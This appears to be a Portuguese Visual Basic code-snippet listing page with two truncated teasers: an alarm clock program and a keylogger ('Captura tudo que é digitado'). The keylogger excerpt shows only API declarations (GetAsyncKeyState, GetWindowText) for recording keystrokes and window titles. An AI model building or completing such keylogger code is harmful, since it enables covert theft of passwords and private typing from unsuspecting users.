Alarme

Alarme em Visual Basic Option Explicit Dim AlarmTime Const conMinimized = 1 Private Sub Form_Click() AlarmTime = InputBox(“Digite a hora”, “VB Alarme”, Hora de Alarme) If AlarmTime = “” Then Exit Sub If Not IsDate(AlarmTime) Then MsgBox “Valor digitado inválido” Else ‘ String válida, AlarmTime = CDate(AlarmTime) ‘ Guarda o valor da hora em AlarmTime.

Continuar lendo »

Captura tudo que é digitado – Keylog

Captura tudo que é digitado – Keylog Dim a(15) As String Private CurrentApp_hWnd Private Declare Function GetAsyncKeyState Lib “user32” (ByVal vKey As Long) As Integer Private Declare Function GetWindowText Lib “user32.dll” Alias “GetWindowTextA” (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long Private Declare Function GetWindowTextLength Lib “user32.dll” Alias “GetWindowTextLengthA”

Continuar lendo »